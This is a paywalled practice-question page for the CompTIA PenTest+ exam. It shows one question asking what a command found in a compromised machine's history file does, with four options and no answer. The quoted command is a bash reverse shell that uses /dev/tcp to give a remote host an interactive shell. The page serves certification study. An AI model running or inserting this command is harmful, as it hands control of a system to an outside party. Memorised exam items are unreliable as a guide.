CompTIA
PT0-001 · Question #40
PT0-001 Question #40: Real Exam Question with Answer & Explanation
Sign in or unlock PT0-001 to reveal the answer and full explanation for question #40. The question stem and answer options stay visible for context.
Post-exploitation and lateral movement
Question
The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does?
Options
- APerforms a port scan.
- BGrabs the web server's banner.
- CRedirects a TTY to a remote system.
- DRemoves error logs for the supplied IP.
Unlock PT0-001 to see the answer
You've previewed enough free PT0-001 questions. Unlock PT0-001 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.
Topics
#bash reverse shell#TCP redirect#command analysis#TTY redirection